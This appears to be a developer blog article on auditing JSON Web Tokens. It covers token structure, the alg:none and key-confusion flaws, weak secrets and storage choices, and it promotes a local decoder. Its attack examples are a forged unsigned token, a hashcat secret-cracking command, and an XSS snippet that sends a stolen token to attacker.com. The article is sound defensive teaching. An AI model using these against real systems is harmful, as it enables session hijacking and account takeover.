JWT Security 101: How to Audit Tokens Without Leaking Secrets

#1JWT security: what to check before trusting a token
What we tested: We decoded production-shaped JWTs (RS256, HS256, ES256) using our browser-based JWT tools. Token verification, claim inspection, and expiry checks all run locally. We also fed malformed tokens to test error handling.
JWTs are easy to misuse because they look simple even when the security rules around them are not.
The checks that matter in practice are algorithm validation, signature verification, claim handling, storage, and safe debugging when a token is already in production.
#21. The anatomy of a JSON Web Token
A JWT is a string composed of three Base64URL-encoded parts separated by periods (.):
HEADER.PAYLOAD.SIGNATUREeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c#3Part 1: Header
The header specifies the token type ("JWT") and the cryptographic algorithm used to secure the signature:
{
"alg": "HS256",
"typ": "JWT",
"kid": "auth-key-2025-01"
}alg: The signing algorithm (e.g.,HS256,RS256,ES256,EdDSA)typ: Type identifier (typically"JWT")kid: Key ID, used by resource servers to look up the public key needed for verification
#3Part 2: Payload (Claims)
The payload contains the Claims, statements about an entity (typically a user) and additional metadata. RFC 7519 defines several standard reserved claims:
{
"iss": "https://auth.yourcompany.com",
"sub": "user_987654321",
"aud": "https://api.yourcompany.com",
"exp": 1740000000,
"nbf": 1739996400,
"iat": 1739996400,
"jti": "b3b7e411-80a5-48b4-9273-0f0e3fa02187",
"email": "developer@company.com",
"role": "admin"
}Standard Reserved Claims:
iss(Issuer): Who created and signed the tokensub(Subject): The user or principal identifieraud(Audience): Who the token is intended forexp(Expiration Time): Timestamp after which the token is invalid (Unix epoch seconds)nbf(Not Before): Timestamp before which the token must not be acceptediat(Issued At): Timestamp when the token was createdjti(JWT ID): Unique identifier for the token (used to prevent replay attacks)
#3Part 3: Signature
The signature verifies that the token was created by a trusted party and has not been modified in transit:
// Signature generation pseudo-code (HMAC SHA-256)
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secretKey
)The signature is computed over the Base64URL-encoded header and payload. If an attacker modifies even a single character of the payload, the calculated signature will not match, causing server verification to fail.
#22. Top Critical JWT Vulnerabilities
#3Vulnerability 1: The alg: "none" Vulnerability (CVE-2015-9235)
Early JWT libraries allowed the header alg parameter to be set to "none" or "NONE". This setting was intended for un-signed tokens in debug environments.
The Attack: An attacker intercepts a valid JWT, decodes the payload, changes "role": "user" to "role": "admin", changes the header "alg" to "none", removes the signature portion completely, and sends the modified token to the API:
// Intercepted & modified header:
{ "alg": "none", "typ": "JWT" }
// Intercepted & modified payload:
{ "sub": "123", "role": "admin" }
// Modified token sent to server (trailing dot kept):
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ.If the backend server relies on the algorithm specified in the token header without enforcing an explicit whitelist, it accepts the un-signed token and grants administrative access.
Defense: Always enforce a strict algorithm whitelist in server verification logic:
// SAFE: Explicitly enforce expected algorithm
jwt.verify(token, publicKey, { algorithms: ['RS256'] });#3Vulnerability 2: HMAC vs. RSA Key Confusion (CVE-2016-5431)
This attack occurs when a backend server expects an asymmetric algorithm like RS256 (Public/Private key pair), but the verification library allows HS256 (Symmetric shared secret).
The Attack:
- The public key for verifying RS256 signatures is often publicly available (e.g., via
/.well-known/jwks.json). - An attacker takes the publicly known RSA public key string and uses it as the secret key for an HMAC-SHA256 (
HS256) signature. - The attacker sends a modified token with
alg: "HS256". - The server receives the token, sees
alg: "HS256", fetches the RSA public key file, and uses it as the HMAC secret key to verify the token. - The signature matches, and the server trusts the forged payload.
Defense: Never trust the algorithm parameter in the incoming token header to determine the verification logic. Specify the expected verification key and algorithm explicitly in application code.
#3Vulnerability 3: Weak HMAC Shared Secrets
When using symmetric algorithms (HS256), the security of every session depends entirely on the secret key. If the secret is short or predictable ("secret", "supersecret", "development-key"), an attacker can crack it offline using tools like hashcat or John the Ripper:
# Hashcat JWT offline secret cracking
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txtOnce an attacker discovers the secret key, they can mint valid tokens for any user ID or administrative role indefinitely.
Defense:
- Use at least 256 bits (32 random bytes / 64 hex characters) for HMAC secrets
- Rotate secrets periodically using key IDs (
kid) - Use asymmetric signing (
RS256orES256) for enterprise applications
#3Vulnerability 4: Storing Sensitive Data in Unencrypted Payloads
A common developer misconception is assuming JWT payloads are secret because they look "scrambled" (Base64URL encoded).
Base64URL is encoding, not encryption. Anyone who captures a JWT, via browser storage, proxy logs, or network traffic, can decode the payload in under 1 millisecond:
# Decoding a JWT payload in terminal
echo "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIn0" | base64 --decode
# Output: {"sub":"1234567890","name":"Alice"}Never store in a JWT payload:
- Passwords or password hashes
- Personally Identifiable Information (PII) like SSNs or passport numbers
- Internal database connection strings or API keys
- Credit card details
#3Vulnerability 5: Missing Expiration and Revocation Controls
A JWT without an exp (Expiration) claim remains valid forever unless explicitly revoked. Since JWTs are stateless, standard verification logic checks only the signature and timestamp, it does not query a database.
If a user logs out, or if their device is stolen, an attacker possessing an unexpired JWT can access the account until the token expires.
Defense:
- Keep access token lifetimes short: 5 to 15 minutes max
- Use sliding Refresh Tokens stored in
HttpOnly,SameSite=Strictcookies - Implement a token revocation list (Redis bloom filter) for critical events (password reset, security lock)
#23. Storage Security: LocalStorage vs. HttpOnly Cookies
Where you store a JWT in the browser dictates your vulnerability to Cross-Site Scripting (XSS) vs. Cross-Site Request Forgery (CSRF).
| Storage Location | XSS Vulnerable? | CSRF Vulnerable? | Best For |
|---|---|---|---|
localStorage / sessionStorage | YES (100% accessible to JS) | No | Non-sensitive tokens, CLI tools |
| Standard Cookie | YES (document.cookie) | YES | Legacy apps |
HttpOnly, Secure Cookie | NO (Blocked from JS access) | Mitigation via SameSite=Strict | Production Web Applications |
#3The localStorage Security Risk
If an attacker successfully executes an XSS payload on your web application (via a compromised third-party npm package, unsanitized user input, or dynamic script injection), malicious JavaScript can read localStorage:
// Malicious script injected via XSS
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?jwt=' + token);The attacker now possesses a valid session token and can impersonate the user from anywhere in the world.
#3The Recommended Architecture: Dual Token Strategy
Client (Browser) Auth Server / API
┌─────────────┐ ┌────────────────┐
│ │ ── 1. Login ─────> │ │
│ │ <─ 2. Auth OK ──── │ (Set Cookies) │
└─────────────┘ └────────────────┘
│
├── Access Token: In-Memory JS Variable (Short-lived: 15 min)
└── Refresh Token: HttpOnly, Secure, SameSite Cookie (7 days)- Access Token: Stored strictly in memory (JavaScript state). Valid for 15 minutes. Lost on tab close.
- Refresh Token: Stored in an
HttpOnly,Secure,SameSite=Strictcookie. Used to fetch a new in-memory access token silently via background API call when the short-lived access token expires.
This architecture shields the long-lived refresh token from XSS script access while protecting against CSRF attacks.
#24. How to Audit JWTs Safely (Without Data Leaks)
During debugging, developers frequently copy production JWTs from Developer Tools and paste them into online JWT decoders.
#3The Privacy Risk of Third-Party Decoders
When you paste a production JWT into a cloud-hosted online decoder:
- Your token, containing user IDs, roles, email addresses, and active session permissions, is sent via HTTP POST to a third-party server.
- The third-party server may log request bodies for debugging, analytics, or AI training.
- If that third-party service is compromised, logged, or indexed, attackers gain access to live production session tokens.
#3The Zero-Trust Local Audit Solution
Always decode and inspect session tokens using local tools that execute entirely inside your browser's JavaScript engine.
Use the AllDevToolsHub JWT Decoder:
- 100% Client-Side Execution: Decoding happens locally via
atob()in your browser. - Zero Network Transmission: Open browser DevTools (Network tab) and verify zero HTTP requests are sent when pasting tokens.
- Signature Verification: Test signature validation locally by providing a public key or secret without transmitting the key to any server.
#25. Step-by-Step JWT Audit Checklist
Run through this security audit checklist for every JWT implementation:
### 1. Algorithm & Signature Verification
- [ ] Server enforces explicit algorithm whitelist (e.g., `['RS256']`)
- [ ] Header `alg: "none"` is explicitly rejected by verification middleware
- [ ] Symmetric HMAC secret is at least 32 random bytes (256 bits)
- [ ] Asymmetric public key endpoint (JWKS) is served over HTTPS with caching headers
### 2. Claim Verification
- [ ] Expiration (`exp`) claim is present and strictly enforced
- [ ] Access token lifespan is set to 15 minutes or less
- [ ] Issuer (`iss`) and Audience (`aud`) claims are verified on every request
- [ ] Token ID (`jti`) is generated for refresh tokens to track revocation
### 3. Payload Integrity
- [ ] No sensitive credentials, PII, or internal system secrets exist in payload
- [ ] Claims contain minimal necessary data (user ID, permissions)
### 4. Client Storage & Transmission
- [ ] Long-lived tokens use `HttpOnly`, `Secure`, `SameSite=Strict` cookies
- [ ] Access tokens are held in memory, not `localStorage`
- [ ] Tokens are transmitted exclusively over HTTPS (`Authorization: Bearer <token>`)#2Summary
JWT security is not about relying on default library settings, it's about explicit constraint enforcement. By requiring strong signing algorithms, short token lifespans, secure HttpOnly storage, and auditing tokens locally, you eliminate the major attack vectors for session compromise.
Audit your session tokens privately at the AllDevToolsHub JWT Decoder.
#2Related Tools
- JWT Decoder, Decode, inspect, and verify JWT claims locally with zero network calls
- AES Encrypt/Decrypt, Client-side Web Crypto API encryption
- Base64 Converter, Encode/decode Base64 and Base64URL strings locally
- Password Generator, Generate 256-bit cryptographically secure secret keys
#2Related Articles
- Secure Token Handling: Cookie vs LocalStorage
- JWT Tokens Explained: Decode, Verify & Common Mistakes
- The Zero-Trust Developer Workflow
#2Frequently Asked Questions
Q: Is RS256 safer than HS256 for JWT signing?
A: Yes, in multi-service architectures. With RS256 (Asymmetric), the authentication server holds the private key to sign tokens, while resource APIs need only the public key to verify them. If a resource server is compromised, attackers gain only the public key, they cannot forge new tokens. With HS256 (Symmetric), every service sharing the secret can mint valid tokens.
Q: How do I instantly invalidate a stateless JWT before it expires?
A: Because JWTs are stateless, instant invalidation requires a lightweight centralized check. Common patterns: (1) Maintain a Redis blacklist of revoked jti (JWT ID) claims with a TTL matching the token's exp; (2) Store a token_version integer in the user database record, when a user logs out or resets their password, increment the integer. The API compares the token's ver claim with the database version.
Q: Should I encrypt my JWT using JWE (JSON Web Encryption)?
A: Only if the token payload must contain sensitive data that cannot be visible to the client or intermediate proxies. In 95% of web applications, keeping sensitive data out of the payload entirely and using standard signed JWTs (JWS) is simpler, faster, and more maintainable.
Written by Rahul Jalavadiya, founder of AllDevToolsHub. All tools run locally in your browser.
#2Sources / Further reading
- IETF - RFC 7519: JWT
- OWASP - JWT Cheat Sheet
- PortSwigger - JWT attacks
- Trail of Bits - JWT vulnerabilities
Quick Summary
>- JSON Web Tokens (JWT) are the backbone of modern auth. But how do you audit them safely? Here is a deep dive into secure JWT handling.
Tools Mentioned in This Article
JWT Generator & Decoder
Generate, decode and verify JSON Web Tokens safely.
JWT Decoder
Decode and inspect JSON Web Tokens safely.
OAuth 2.0 PKCE Debugger
Visually debug OAuth 2.0 and PKCE authorization flows.
AES Encrypt / Decrypt
Encrypt and decrypt text with AES-256-GCM and PBKDF2 key derivation, 100% client-side.
Tools, tactics, and toughened-up tips, once a week
New tools, deep-dives on developer workflows, and the occasional gem we found this week. No spam, no tracking. Unsubscribe anytime.
Found an error or have feedback?
We correct errors quickly and document changes in our changelog. Report issues at support@alldevtoolshub.com.